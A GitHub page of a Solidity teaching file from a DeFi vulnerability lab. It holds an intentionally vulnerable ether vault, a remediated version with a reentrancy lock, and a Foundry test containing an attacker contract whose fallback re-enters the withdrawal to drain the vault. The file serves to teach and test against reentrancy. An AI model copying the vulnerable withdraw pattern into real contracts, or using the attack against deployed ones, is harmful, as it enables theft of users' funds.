forked from SunWeb3Sec/DeFiVulnLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathReentrancy.sol
101 lines (82 loc) · 3.25 KB
/
Reentrancy.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "forge-std/Test.sol";
// EtherStore is a simple vault, it can manage everyone's ethers.
// But it's vulnerable, can you steal all the ethers ?
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
contract EtherStoreRemediated {
mapping(address => uint256) public balances;
bool internal locked;
modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant{
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
contract ContractTest is Test {
EtherStore store;
EtherStoreRemediated storeRemediated;
EtherStoreAttack attack;
EtherStoreAttack attackRemediated;
function setUp() public {
store = new EtherStore();
storeRemediated = new EtherStoreRemediated();
attack = new EtherStoreAttack(address(store));
attackRemediated = new EtherStoreAttack(address(storeRemediated));
vm.deal(address(store), 5 ether);
vm.deal(address(storeRemediated), 5 ether);
vm.deal(address(attack), 2 ether);
vm.deal(address(attackRemediated), 2 ether);
}
function testReentrancy() public {
attack.Attack(); // exploit here
}
function testFailRemediated() public {
attackRemediated.Attack();
}
}
contract EtherStoreAttack is DSTest {
EtherStore store;
constructor(address _store) public {
store = EtherStore(_store);
}
function Attack() public {
emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
store.deposit{value: 1 ether}();
emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);
emit log_string("==================== Start of attack ====================");
store.withdrawFunds(1 ether); // exploit here
emit log_string("==================== End of attack ====================");
emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);
emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);
}
fallback() external payable {
emit log_named_decimal_uint("EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Attacker balance", address(this).balance, 18);
if (address(store).balance >= 1 ether) {
emit log_string("Reenter");
store.withdrawFunds(1 ether); // exploit here
}
}
}